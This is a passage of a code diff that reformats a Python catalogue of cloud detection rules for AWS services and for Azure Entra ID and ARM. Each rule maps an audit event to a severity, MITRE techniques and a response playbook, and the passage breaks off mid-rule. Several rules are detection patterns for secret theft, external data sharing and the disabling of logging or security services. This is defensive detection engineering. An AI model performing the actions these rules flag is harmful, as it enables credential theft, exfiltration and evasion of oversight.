- fp=["Lab account by design"], playbook="tpl-initial-access"),
- S(slug="aws-vpc-peering-cross-org", name="AWS VPC Peering Connection Across Organizations",
- severity="high", mitre=["t1199"], product="aws", service="ec2",
- when={"event_name": "CreateVpcPeeringConnection", "peer_account_external": True},
- fp=["Approved partner network"], playbook="tpl-initial-access"),
+ S(
+ slug="aws-ec2-imds-v1-allowed",
+ name="AWS EC2 Instance Launched With IMDSv1 Allowed",
+ severity="medium",
+ mitre=["t1552.005"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "RunInstances", "imds_v1_allowed": True},
+ fp=["Legacy AMI (must be ticketed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="aws-ec2-key-pair-imported",
+ name="AWS EC2 Key Pair Imported",
+ severity="medium",
+ mitre=["t1098.004"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "ImportKeyPair"},
+ fp=["Bootstrap of golden image", FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="aws-ec2-disable-api-stop-revoked",
+ name="AWS EC2 DisableApiStop Protection Revoked",
+ severity="medium",
+ mitre=["t1485"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "ModifyInstanceAttribute", "attribute": "disableApiStop", "value": False},
+ fp=["Decommissioning workflow"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="aws-ec2-userdata-modified-running",
+ name="AWS EC2 UserData Modified On Running Instance",
+ severity="high",
+ mitre=["t1059.001", "t1059.004"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "ModifyInstanceAttribute", "attribute": "userData", "instance_state": "running"},
+ fp=["Approved cloud-init re-run"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="aws-vpc-route-to-internet-gateway",
+ name="AWS VPC Default Route Pointed At New IGW",
+ severity="high",
+ mitre=["t1090"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "CreateRoute", "destination_cidr": "0.0.0.0/0", "target_type": "internet-gateway"},
+ fp=["New public subnet provisioning"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="aws-security-group-rule-add-22-from-anywhere",
+ name="AWS SG Rule Allows SSH From 0.0.0.0/0",
+ severity="high",
+ mitre=["t1133"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "AuthorizeSecurityGroupIngress", "ip_protocol": "tcp", "from_port": 22, "to_port": 22, "cidr": "0.0.0.0/0"},
+ fp=["Bastion/jump-host with MFA"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="aws-security-group-rule-add-3389-from-anywhere",
+ name="AWS SG Rule Allows RDP From 0.0.0.0/0",
+ severity="high",
+ mitre=["t1133"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "AuthorizeSecurityGroupIngress", "ip_protocol": "tcp", "from_port": 3389, "to_port": 3389, "cidr": "0.0.0.0/0"},
+ fp=["Lab account by design"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="aws-vpc-peering-cross-org",
+ name="AWS VPC Peering Connection Across Organizations",
+ severity="high",
+ mitre=["t1199"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "CreateVpcPeeringConnection", "peer_account_external": True},
+ fp=["Approved partner network"],
+ playbook="tpl-initial-access",
+ ),
# ---- RDS (5) ----
- S(slug="aws-rds-publicly-accessible-true", name="AWS RDS Instance Modified To Publicly Accessible",
- severity="critical", mitre=["t1530"], product="aws", service="rds",
- when={"event_name_in": ["CreateDBInstance", "ModifyDBInstance"], "publicly_accessible": True},
- fp=["Lab/demo workload only"], playbook="tpl-data-exposure"),
- S(slug="aws-rds-snapshot-shared", name="AWS RDS Snapshot Shared With Other Account",
- severity="high", mitre=["t1537"], product="aws", service="rds",
- when={"event_name": "ModifyDBSnapshotAttribute", "shared_account_external": True},
- fp=["DR copy to disaster account"], playbook="tpl-exfiltration"),
- S(slug="aws-rds-iam-auth-disabled", name="AWS RDS IAM Authentication Disabled",
- severity="medium", mitre=["t1556"], product="aws", service="rds",
- when={"event_name": "ModifyDBInstance", "iam_database_authentication_enabled": False},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="aws-rds-master-password-reset", name="AWS RDS Master User Password Reset",
- severity="high", mitre=["t1098"], product="aws", service="rds",
- when={"event_name": "ModifyDBInstance", "master_user_password_changed": True},
- fp=["Scheduled rotation"], playbook="tpl-credential-access"),
- S(slug="aws-rds-deletion-protection-disabled", name="AWS RDS Deletion Protection Disabled",
- severity="medium", mitre=["t1485"], product="aws", service="rds",
- when={"event_name": "ModifyDBInstance", "deletion_protection": False},
- fp=["Planned decommission"], playbook="tpl-impact"),
+ S(
+ slug="aws-rds-publicly-accessible-true",
+ name="AWS RDS Instance Modified To Publicly Accessible",
+ severity="critical",
+ mitre=["t1530"],
+ product="aws",
+ service="rds",
+ when={"event_name_in": ["CreateDBInstance", "ModifyDBInstance"], "publicly_accessible": True},
+ fp=["Lab/demo workload only"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="aws-rds-snapshot-shared",
+ name="AWS RDS Snapshot Shared With Other Account",
+ severity="high",
+ mitre=["t1537"],
+ product="aws",
+ service="rds",
+ when={"event_name": "ModifyDBSnapshotAttribute", "shared_account_external": True},
+ fp=["DR copy to disaster account"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="aws-rds-iam-auth-disabled",
+ name="AWS RDS IAM Authentication Disabled",
+ severity="medium",
+ mitre=["t1556"],
+ product="aws",
+ service="rds",
+ when={"event_name": "ModifyDBInstance", "iam_database_authentication_enabled": False},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-rds-master-password-reset",
+ name="AWS RDS Master User Password Reset",
+ severity="high",
+ mitre=["t1098"],
+ product="aws",
+ service="rds",
+ when={"event_name": "ModifyDBInstance", "master_user_password_changed": True},
+ fp=["Scheduled rotation"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="aws-rds-deletion-protection-disabled",
+ name="AWS RDS Deletion Protection Disabled",
+ severity="medium",
+ mitre=["t1485"],
+ product="aws",
+ service="rds",
+ when={"event_name": "ModifyDBInstance", "deletion_protection": False},
+ fp=["Planned decommission"],
+ playbook="tpl-impact",
+ ),
# ---- Lambda (4) ----
- S(slug="aws-lambda-add-permission-anonymous", name="AWS Lambda AddPermission Allows Principal '*'",
- severity="critical", mitre=["t1190"], product="aws", service="lambda",
- when={"event_name": "AddPermission", "principal": "*"},
- fp=["Public webhook endpoint by design"], playbook="tpl-initial-access"),
- S(slug="aws-lambda-env-var-secret-pattern", name="AWS Lambda Env Var Contains Secret Pattern",
- severity="high", mitre=["t1552.001"], product="aws", service="lambda",
- when={"event_name_in": ["CreateFunction", "UpdateFunctionConfiguration"], "env_secret_pattern": True},
- fp=["Local-only fixture / unit-test value"], playbook="tpl-credential-access"),
- S(slug="aws-lambda-create-url-public", name="AWS Lambda Function URL With AuthType=NONE",
- severity="high", mitre=["t1190"], product="aws", service="lambda",
- when={"event_name": "CreateFunctionUrlConfig", "auth_type": "NONE"},
- fp=["Public ingest endpoint by design"], playbook="tpl-initial-access"),
- S(slug="aws-lambda-runtime-deprecated", name="AWS Lambda Function Uses Deprecated Runtime",
- severity="medium", mitre=["t1610"], product="aws", service="lambda",
- when={"event_name": "CreateFunction", "runtime_in": ["nodejs10.x", "nodejs12.x", "python2.7", "python3.6"]},
- fp=[FP_TUNING], playbook="tpl-vulnerability"),
+ S(
+ slug="aws-lambda-add-permission-anonymous",
+ name="AWS Lambda AddPermission Allows Principal '*'",
+ severity="critical",
+ mitre=["t1190"],
+ product="aws",
+ service="lambda",
+ when={"event_name": "AddPermission", "principal": "*"},
+ fp=["Public webhook endpoint by design"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="aws-lambda-env-var-secret-pattern",
+ name="AWS Lambda Env Var Contains Secret Pattern",
+ severity="high",
+ mitre=["t1552.001"],
+ product="aws",
+ service="lambda",
+ when={"event_name_in": ["CreateFunction", "UpdateFunctionConfiguration"], "env_secret_pattern": True},
+ fp=["Local-only fixture / unit-test value"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="aws-lambda-create-url-public",
+ name="AWS Lambda Function URL With AuthType=NONE",
+ severity="high",
+ mitre=["t1190"],
+ product="aws",
+ service="lambda",
+ when={"event_name": "CreateFunctionUrlConfig", "auth_type": "NONE"},
+ fp=["Public ingest endpoint by design"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="aws-lambda-runtime-deprecated",
+ name="AWS Lambda Function Uses Deprecated Runtime",
+ severity="medium",
+ mitre=["t1610"],
+ product="aws",
+ service="lambda",
+ when={"event_name": "CreateFunction", "runtime_in": ["nodejs10.x", "nodejs12.x", "python2.7", "python3.6"]},
+ fp=[FP_TUNING],
+ playbook="tpl-vulnerability",
+ ),
# ---- EKS / ECS (6) ----
- S(slug="aws-eks-cluster-public-endpoint", name="AWS EKS Cluster API Endpoint Made Public",
- severity="critical", mitre=["t1133"], product="aws", service="eks",
- when={"event_name_in": ["CreateCluster", "UpdateClusterConfig"], "endpoint_public_access": True, "public_access_cidrs_contains": "0.0.0.0/0"},
- fp=["Lab cluster"], playbook="tpl-initial-access"),
- S(slug="aws-eks-fargate-profile-default-ns", name="AWS EKS Fargate Profile Targets default Namespace",
- severity="medium", mitre=["t1610"], product="aws", service="eks",
- when={"event_name": "CreateFargateProfile", "namespace": "default"},
- fp=["Greenfield cluster"], playbook="tpl-execution"),
- S(slug="aws-ecs-task-privileged", name="AWS ECS Task Definition With privileged=true",
- severity="high", mitre=["t1611"], product="aws", service="ecs",
- when={"event_name": "RegisterTaskDefinition", "privileged": True},
- fp=["Sysdig / debugger task"], playbook="tpl-privilege-escalation"),
- S(slug="aws-ecs-execute-command-enabled", name="AWS ECS ExecuteCommand Enabled On Service",
- severity="medium", mitre=["t1059"], product="aws", service="ecs",
- when={"event_name_in": ["CreateService", "UpdateService"], "enable_execute_command": True},
- fp=["Debugging window"], playbook="tpl-execution"),
- S(slug="aws-ecr-repo-publicly-readable", name="AWS ECR Repository Policy Public",
- severity="high", mitre=["t1525"], product="aws", service="ecr",
- when={"event_name": "SetRepositoryPolicy", "policy_principal": "*"},
- fp=["Public images repo"], playbook="tpl-supply-chain"),
- S(slug="aws-ecr-image-scan-disabled", name="AWS ECR Image Scan-On-Push Disabled",
- severity="low", mitre=["t1610"], product="aws", service="ecr",
- when={"event_name": "PutImageScanningConfiguration", "scan_on_push": False},
- fp=[FP_TUNING], playbook="tpl-vulnerability"),
+ S(
+ slug="aws-eks-cluster-public-endpoint",
+ name="AWS EKS Cluster API Endpoint Made Public",
+ severity="critical",
+ mitre=["t1133"],
+ product="aws",
+ service="eks",
+ when={
+ "event_name_in": ["CreateCluster", "UpdateClusterConfig"],
+ "endpoint_public_access": True,
+ "public_access_cidrs_contains": "0.0.0.0/0",
+ },
+ fp=["Lab cluster"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="aws-eks-fargate-profile-default-ns",
+ name="AWS EKS Fargate Profile Targets default Namespace",
+ severity="medium",
+ mitre=["t1610"],
+ product="aws",
+ service="eks",
+ when={"event_name": "CreateFargateProfile", "namespace": "default"},
+ fp=["Greenfield cluster"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="aws-ecs-task-privileged",
+ name="AWS ECS Task Definition With privileged=true",
+ severity="high",
+ mitre=["t1611"],
+ product="aws",
+ service="ecs",
+ when={"event_name": "RegisterTaskDefinition", "privileged": True},
+ fp=["Sysdig / debugger task"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="aws-ecs-execute-command-enabled",
+ name="AWS ECS ExecuteCommand Enabled On Service",
+ severity="medium",
+ mitre=["t1059"],
+ product="aws",
+ service="ecs",
+ when={"event_name_in": ["CreateService", "UpdateService"], "enable_execute_command": True},
+ fp=["Debugging window"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="aws-ecr-repo-publicly-readable",
+ name="AWS ECR Repository Policy Public",
+ severity="high",
+ mitre=["t1525"],
+ product="aws",
+ service="ecr",
+ when={"event_name": "SetRepositoryPolicy", "policy_principal": "*"},
+ fp=["Public images repo"],
+ playbook="tpl-supply-chain",
+ ),
+ S(
+ slug="aws-ecr-image-scan-disabled",
+ name="AWS ECR Image Scan-On-Push Disabled",
+ severity="low",
+ mitre=["t1610"],
+ product="aws",
+ service="ecr",
+ when={"event_name": "PutImageScanningConfiguration", "scan_on_push": False},
+ fp=[FP_TUNING],
+ playbook="tpl-vulnerability",
+ ),
# ---- KMS / Secrets (4) ----
- S(slug="aws-kms-key-policy-anonymous", name="AWS KMS Key Policy Allows Principal '*'",
- severity="critical", mitre=["t1552.001"], product="aws", service="kms",
- when={"event_name": "PutKeyPolicy", "policy_principal": "*"},
- fp=[], playbook="tpl-credential-access"),
- S(slug="aws-kms-schedule-key-deletion", name="AWS KMS ScheduleKeyDeletion Used",
- severity="high", mitre=["t1485"], product="aws", service="kms",
- when={"event_name": "ScheduleKeyDeletion"},
- fp=["Decommissioning"], playbook="tpl-impact"),
- S(slug="aws-secretsmanager-mass-getsecret", name="AWS SecretsManager Mass GetSecretValue",
- severity="high", mitre=["t1552.001"], product="aws", service="secretsmanager",
- when={"event_name": "GetSecretValue", "distinct_secrets_per_minute_gt": 30},
- fp=["Bootstrap of new microservice"], playbook="tpl-credential-access"),
- S(slug="aws-ssm-parameter-secure-no-kms", name="AWS SSM SecureString Parameter Created Without KMS",
- severity="medium", mitre=["t1552.001"], product="aws", service="ssm",
- when={"event_name": "PutParameter", "type": "SecureString", "key_id": None},
- fp=[FP_TUNING], playbook="tpl-credential-access"),
+ S(
+ slug="aws-kms-key-policy-anonymous",
+ name="AWS KMS Key Policy Allows Principal '*'",
+ severity="critical",
+ mitre=["t1552.001"],
+ product="aws",
+ service="kms",
+ when={"event_name": "PutKeyPolicy", "policy_principal": "*"},
+ fp=[],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="aws-kms-schedule-key-deletion",
+ name="AWS KMS ScheduleKeyDeletion Used",
+ severity="high",
+ mitre=["t1485"],
+ product="aws",
+ service="kms",
+ when={"event_name": "ScheduleKeyDeletion"},
+ fp=["Decommissioning"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="aws-secretsmanager-mass-getsecret",
+ name="AWS SecretsManager Mass GetSecretValue",
+ severity="high",
+ mitre=["t1552.001"],
+ product="aws",
+ service="secretsmanager",
+ when={"event_name": "GetSecretValue", "distinct_secrets_per_minute_gt": 30},
+ fp=["Bootstrap of new microservice"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="aws-ssm-parameter-secure-no-kms",
+ name="AWS SSM SecureString Parameter Created Without KMS",
+ severity="medium",
+ mitre=["t1552.001"],
+ product="aws",
+ service="ssm",
+ when={"event_name": "PutParameter", "type": "SecureString", "key_id": None},
+ fp=[FP_TUNING],
+ playbook="tpl-credential-access",
+ ),
# ---- CloudTrail / Config / GuardDuty / Org (5) ----
- S(slug="aws-config-recorder-stopped", name="AWS Config Recorder Stopped",
- severity="critical", mitre=["t1562.008"], product="aws", service="config",
- when={"event_name": "StopConfigurationRecorder"},
- fp=["Account decommission"], playbook="tpl-defense-evasion"),
- S(slug="aws-guardduty-detector-deleted", name="AWS GuardDuty Detector Deleted",
- severity="critical", mitre=["t1562.001"], product="aws", service="guardduty",
- when={"event_name": "DeleteDetector"},
- fp=["Region pruning approved"], playbook="tpl-defense-evasion"),
- S(slug="aws-securityhub-disabled", name="AWS SecurityHub DisableSecurityHub",
- severity="critical", mitre=["t1562.001"], product="aws", service="securityhub",
- when={"event_name": "DisableSecurityHub"},
- fp=["Account decommission"], playbook="tpl-defense-evasion"),
- S(slug="aws-cloudtrail-event-selector-narrowed", name="AWS CloudTrail Event Selector Narrowed",
- severity="high", mitre=["t1562.008"], product="aws", service="cloudtrail",
- when={"event_name": "PutEventSelectors", "selector_includes_management_events": False},
- fp=["Cost-optimisation work"], playbook="tpl-defense-evasion"),
- S(slug="aws-organizations-account-removed", name="AWS Organizations Account Removed",
- severity="high", mitre=["t1078.004"], product="aws", service="organizations",
- when={"event_name_in": ["RemoveAccountFromOrganization", "LeaveOrganization"]},
- fp=["Approved account divestiture"], playbook="tpl-defense-evasion"),
+ S(
+ slug="aws-config-recorder-stopped",
+ name="AWS Config Recorder Stopped",
+ severity="critical",
+ mitre=["t1562.008"],
+ product="aws",
+ service="config",
+ when={"event_name": "StopConfigurationRecorder"},
+ fp=["Account decommission"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-guardduty-detector-deleted",
+ name="AWS GuardDuty Detector Deleted",
+ severity="critical",
+ mitre=["t1562.001"],
+ product="aws",
+ service="guardduty",
+ when={"event_name": "DeleteDetector"},
+ fp=["Region pruning approved"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-securityhub-disabled",
+ name="AWS SecurityHub DisableSecurityHub",
+ severity="critical",
+ mitre=["t1562.001"],
+ product="aws",
+ service="securityhub",
+ when={"event_name": "DisableSecurityHub"},
+ fp=["Account decommission"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-cloudtrail-event-selector-narrowed",
+ name="AWS CloudTrail Event Selector Narrowed",
+ severity="high",
+ mitre=["t1562.008"],
+ product="aws",
+ service="cloudtrail",
+ when={"event_name": "PutEventSelectors", "selector_includes_management_events": False},
+ fp=["Cost-optimisation work"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-organizations-account-removed",
+ name="AWS Organizations Account Removed",
+ severity="high",
+ mitre=["t1078.004"],
+ product="aws",
+ service="organizations",
+ when={"event_name_in": ["RemoveAccountFromOrganization", "LeaveOrganization"]},
+ fp=["Approved account divestiture"],
+ playbook="tpl-defense-evasion",
+ ),
# ---- Misc AWS (5) ----
- S(slug="aws-route53-domain-transfer-out", name="AWS Route53 Domain Transfer Out",
- severity="high", mitre=["t1583.001"], product="aws", service="route53domains",
- when={"event_name": "TransferDomainToAnotherAwsAccount"},
- fp=["Account merger workflow"], playbook="tpl-impact"),
- S(slug="aws-cloudfront-origin-changed", name="AWS CloudFront Origin Changed Mid-Service",
- severity="high", mitre=["t1565.002"], product="aws", service="cloudfront",
- when={"event_name": "UpdateDistribution", "origin_changed": True, "distribution_age_days_gt": 30},
- fp=["Approved migration"], playbook="tpl-impact"),
- S(slug="aws-waf-web-acl-disassociated", name="AWS WAF Web ACL Disassociated",
- severity="high", mitre=["t1562.001"], product="aws", service="wafv2",
- when={"event_name": "DisassociateWebACL"},
- fp=["Re-association in same window"], playbook="tpl-defense-evasion"),
- S(slug="aws-sns-topic-public-subscribe", name="AWS SNS Topic Policy Allows Anonymous Subscribe",
- severity="medium", mitre=["t1098"], product="aws", service="sns",
- when={"event_name": "SetTopicAttributes", "policy_principal": "*"},
- fp=["Public notifications topic"], playbook="tpl-data-exposure"),
- S(slug="aws-sqs-queue-public-policy", name="AWS SQS Queue Policy Allows Principal '*'",
- severity="medium", mitre=["t1098"], product="aws", service="sqs",
- when={"event_name": "SetQueueAttributes", "policy_principal": "*"},
- fp=["Public webhook ingestion"], playbook="tpl-initial-access"),
+ S(
+ slug="aws-route53-domain-transfer-out",
+ name="AWS Route53 Domain Transfer Out",
+ severity="high",
+ mitre=["t1583.001"],
+ product="aws",
+ service="route53domains",
+ when={"event_name": "TransferDomainToAnotherAwsAccount"},
+ fp=["Account merger workflow"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="aws-cloudfront-origin-changed",
+ name="AWS CloudFront Origin Changed Mid-Service",
+ severity="high",
+ mitre=["t1565.002"],
+ product="aws",
+ service="cloudfront",
+ when={"event_name": "UpdateDistribution", "origin_changed": True, "distribution_age_days_gt": 30},
+ fp=["Approved migration"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="aws-waf-web-acl-disassociated",
+ name="AWS WAF Web ACL Disassociated",
+ severity="high",
+ mitre=["t1562.001"],
+ product="aws",
+ service="wafv2",
+ when={"event_name": "DisassociateWebACL"},
+ fp=["Re-association in same window"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-sns-topic-public-subscribe",
+ name="AWS SNS Topic Policy Allows Anonymous Subscribe",
+ severity="medium",
+ mitre=["t1098"],
+ product="aws",
+ service="sns",
+ when={"event_name": "SetTopicAttributes", "policy_principal": "*"},
+ fp=["Public notifications topic"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="aws-sqs-queue-public-policy",
+ name="AWS SQS Queue Policy Allows Principal '*'",
+ severity="medium",
+ mitre=["t1098"],
+ product="aws",
+ service="sqs",
+ when={"event_name": "SetQueueAttributes", "policy_principal": "*"},
+ fp=["Public webhook ingestion"],
+ playbook="tpl-initial-access",
+ ),
]
@@ -295,150 +721,402 @@ AWS_RULES: list[dict] = [
# ---------------------------------------------------------------------------
AZURE_RULES: list[dict] = [
# ---- Entra / AAD (12) ----
- S(slug="azure-ad-app-consent-grant", name="Entra ID Admin Consent Granted To App",
- severity="high", mitre=["t1528"], product="azure", service="entra-audit",
- when={"operation_name": "Consent to application", "consent_type": "AllPrincipals"},
- fp=["Sanctioned SaaS rollout"], playbook="tpl-credential-access"),
- S(slug="azure-ad-app-credential-added-out-of-hours", name="Entra ID App Credential Added Outside Business Hours",
- severity="high", mitre=["t1098.001"], product="azure", service="entra-audit",
- when={"operation_name": "Add service principal credentials", "is_business_hours": False},
- fp=["On-call engineer rotation"], playbook="tpl-persistence"),
- S(slug="azure-ad-conditional-access-bypass-rule", name="Entra ID Conditional Access Rule Excludes Privileged User",
- severity="high", mitre=["t1556"], product="azure", service="entra-audit",
- when={"operation_name": "Update policy", "policy_excludes_priv_user": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="azure-ad-mfa-method-removed-priv", name="Entra ID MFA Method Removed From Privileged User",
- severity="critical", mitre=["t1556.006"], product="azure", service="entra-audit",
- when={"operation_name_in": ["User registered security info", "User deleted security info"], "target_user_priv": True, "method_removed": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="azure-ad-pim-role-eligibility-self-assigned", name="Entra ID PIM Role Eligibility Self-Assigned",
- severity="high", mitre=["t1078.004"], product="azure", service="entra-audit",
- when={"operation_name": "Add eligible member to role", "actor_eq_target": True},
- fp=["Bootstrap by Global Admin"], playbook="tpl-privilege-escalation"),
- S(slug="azure-ad-app-permissions-graph-read-write-all", name="Entra ID App Granted Directory.ReadWrite.All",
- severity="critical", mitre=["t1098.003"], product="azure", service="entra-audit",
- when={"operation_name": "Update application", "permissions_added_contains_any": ["Directory.ReadWrite.All", "RoleManagement.ReadWrite.Directory"]},
- fp=["Approved IAM tooling"], playbook="tpl-privilege-escalation"),
- S(slug="azure-ad-bulk-user-creation", name="Entra ID Bulk User Creation Burst",
- severity="medium", mitre=["t1136.003"], product="azure", service="entra-audit",
- when={"operation_name": "Add user", "events_per_minute_gt": 25},
- fp=["Bulk onboarding"], playbook="tpl-persistence"),
- S(slug="azure-ad-named-location-removed", name="Entra ID Trusted Named Location Removed",
- severity="medium", mitre=["t1556"], product="azure", service="entra-audit",
- when={"operation_name": "Delete named location"},
- fp=["Office relocation project"], playbook="tpl-defense-evasion"),
- S(slug="azure-ad-legacy-auth-allowed", name="Entra ID Legacy Authentication Re-Enabled",
- severity="high", mitre=["t1556"], product="azure", service="entra-audit",
- when={"operation_name": "Update policy", "block_legacy_auth": False},
- fp=["Migration of legacy app"], playbook="tpl-defense-evasion"),
- S(slug="azure-ad-bulk-license-assignment", name="Entra ID Bulk License Assignment",
- severity="low", mitre=["t1078.004"], product="azure", service="entra-audit",
- when={"operation_name": "Change user license", "events_per_minute_gt": 50},
- fp=["Bulk onboarding"], playbook="tpl-discovery"),
- S(slug="azure-ad-admin-consent-workflow-disabled", name="Entra ID Admin Consent Workflow Disabled",
- severity="medium", mitre=["t1556"], product="azure", service="entra-audit",
- when={"operation_name": "Set Company Information", "admin_consent_workflow": False},
- fp=["Tenant config refactor"], playbook="tpl-defense-evasion"),
- S(slug="azure-ad-self-service-pwd-reset-policy-modified", name="Entra ID SSPR Policy Weakened",
- severity="medium", mitre=["t1556"], product="azure", service="entra-audit",
- when={"operation_name_in": ["Update password reset policy", "Disable password reset policy"]},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
+ S(
+ slug="azure-ad-app-consent-grant",
+ name="Entra ID Admin Consent Granted To App",
+ severity="high",
+ mitre=["t1528"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Consent to application", "consent_type": "AllPrincipals"},
+ fp=["Sanctioned SaaS rollout"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="azure-ad-app-credential-added-out-of-hours",
+ name="Entra ID App Credential Added Outside Business Hours",
+ severity="high",
+ mitre=["t1098.001"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Add service principal credentials", "is_business_hours": False},
+ fp=["On-call engineer rotation"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="azure-ad-conditional-access-bypass-rule",
+ name="Entra ID Conditional Access Rule Excludes Privileged User",
+ severity="high",
+ mitre=["t1556"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Update policy", "policy_excludes_priv_user": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-ad-mfa-method-removed-priv",
+ name="Entra ID MFA Method Removed From Privileged User",
+ severity="critical",
+ mitre=["t1556.006"],
+ product="azure",
+ service="entra-audit",
+ when={
+ "operation_name_in": ["User registered security info", "User deleted security info"],
+ "target_user_priv": True,
+ "method_removed": True,
+ },
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-ad-pim-role-eligibility-self-assigned",
+ name="Entra ID PIM Role Eligibility Self-Assigned",
+ severity="high",
+ mitre=["t1078.004"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Add eligible member to role", "actor_eq_target": True},
+ fp=["Bootstrap by Global Admin"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="azure-ad-app-permissions-graph-read-write-all",
+ name="Entra ID App Granted Directory.ReadWrite.All",
+ severity="critical",
+ mitre=["t1098.003"],
+ product="azure",
+ service="entra-audit",
+ when={
+ "operation_name": "Update application",
+ "permissions_added_contains_any": ["Directory.ReadWrite.All", "RoleManagement.ReadWrite.Directory"],
+ },
+ fp=["Approved IAM tooling"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="azure-ad-bulk-user-creation",
+ name="Entra ID Bulk User Creation Burst",
+ severity="medium",
+ mitre=["t1136.003"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Add user", "events_per_minute_gt": 25},
+ fp=["Bulk onboarding"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="azure-ad-named-location-removed",
+ name="Entra ID Trusted Named Location Removed",
+ severity="medium",
+ mitre=["t1556"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Delete named location"},
+ fp=["Office relocation project"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-ad-legacy-auth-allowed",
+ name="Entra ID Legacy Authentication Re-Enabled",
+ severity="high",
+ mitre=["t1556"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Update policy", "block_legacy_auth": False},
+ fp=["Migration of legacy app"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-ad-bulk-license-assignment",
+ name="Entra ID Bulk License Assignment",
+ severity="low",
+ mitre=["t1078.004"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Change user license", "events_per_minute_gt": 50},
+ fp=["Bulk onboarding"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="azure-ad-admin-consent-workflow-disabled",
+ name="Entra ID Admin Consent Workflow Disabled",
+ severity="medium",
+ mitre=["t1556"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name": "Set Company Information", "admin_consent_workflow": False},
+ fp=["Tenant config refactor"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-ad-self-service-pwd-reset-policy-modified",
+ name="Entra ID SSPR Policy Weakened",
+ severity="medium",
+ mitre=["t1556"],
+ product="azure",
+ service="entra-audit",
+ when={"operation_name_in": ["Update password reset policy", "Disable password reset policy"]},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
# ---- ARM (8) ----
- S(slug="azure-arm-policy-assignment-deleted", name="Azure Policy Assignment Deleted",
- severity="high", mitre=["t1562.001"], product="azure", service="activity",
- when={"operation_name_endswith": "policyAssignments/delete", "scope_root": True},
- fp=["Policy refactor"], playbook="tpl-defense-evasion"),
- S(slug="azure-arm-blueprint-deleted", name="Azure Blueprint Assignment Removed",
- severity="medium", mitre=["t1562.001"], product="azure", service="activity",
- when={"operation_name_endswith": "blueprintAssignments/delete"},
- fp=["Subscription decommission"], playbook="tpl-defense-evasion"),
- S(slug="azure-arm-role-assignment-owner-tenant", name="Azure Role Assignment Owner At Tenant Scope",
- severity="critical", mitre=["t1078.004"], product="azure", service="activity",
- when={"operation_name_endswith": "roleAssignments/write", "role": "Owner", "scope_root": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="azure-arm-locks-removed-bulk", name="Azure ResourceGroup Locks Removed In Bulk",
- severity="high", mitre=["t1485"], product="azure", service="activity",
- when={"operation_name_endswith": "locks/delete", "events_per_minute_gt": 10},
- fp=["Decommission project"], playbook="tpl-impact"),
- S(slug="azure-arm-diagnostic-settings-deleted", name="Azure Diagnostic Settings Deleted",
- severity="critical", mitre=["t1562.008"], product="azure", service="activity",
